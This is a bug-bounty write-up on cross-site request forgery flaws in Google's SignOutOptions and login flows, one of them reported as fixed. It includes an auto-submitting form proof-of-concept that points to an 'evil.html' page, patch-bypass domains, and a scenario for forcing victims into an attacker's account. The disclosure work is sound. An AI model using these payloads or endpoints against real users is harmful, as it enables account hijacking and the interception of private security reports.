Writeups

Go Incognito XSRF (Fixed, Awarded $3000)

SignOutOptions has a feature where it will open an Android incognito window to a custom URL that does not inherit the sandbox or close the file picker dialog (spoof)

Frame = document.createElement('iframe');
Frame.sandbox = 'allow-popups allow-forms allow-scripts';
<form
  action="https://accounts.google.com/SignOutOptions?continue=https://www.google.com/amp/a/s/ndev.tk/evil.html"
  method="post">
  <input type="submit" name="incognito" value="1" />
</form>
<script>
  document.querySelector('input').click();
</script>

The first patch used google_util::IsGoogleAssociatedDomainUrl thats bypassable since Google hosts user generated content on gstatic.com (via XSS), storage.googleapis.com (Storage buckets) and googleusercontent.com (ip.bc.googleusercontent.com), I did not verify if insecure http:// pages work.

Login XSRF (WONTFIX/INFEASIBLE)

Both issue trackers don’t verify if the victim initiated the login which allows the attacker to force a login to their account, No document.cookie = needed :)
https://issues.chromium.org/accounts/SetOSID (Via: https://accounts.google.com/ServiceLogin?osid=1&continue=https%3A%2F%2Fissues.chromium.org)
https://bugs.chromium.org/_ah/conflogin?state= (Via: https://uc.appengine.google.com/_ah/conflogin?state=)
Some more examples…

Worth mentioning since the token is not connected to a session, browser extensions with the Tabs permission but no host permission gain account takeover; it’s a feature.

Once the victim is on the attackers account any security issues reported via the standard https://bugs.chromium.org/p/chromium/issues/wizard page (ideally bookmarked) will be sent to the attackers email and if all goes well there be able to steal that 0day and get the reward (very unlikely) from Chromium VRP!

They are aware of the fact that login XSRF is possible in some cases. Unfortunately, they don’t have a clear plan to fix it at this time.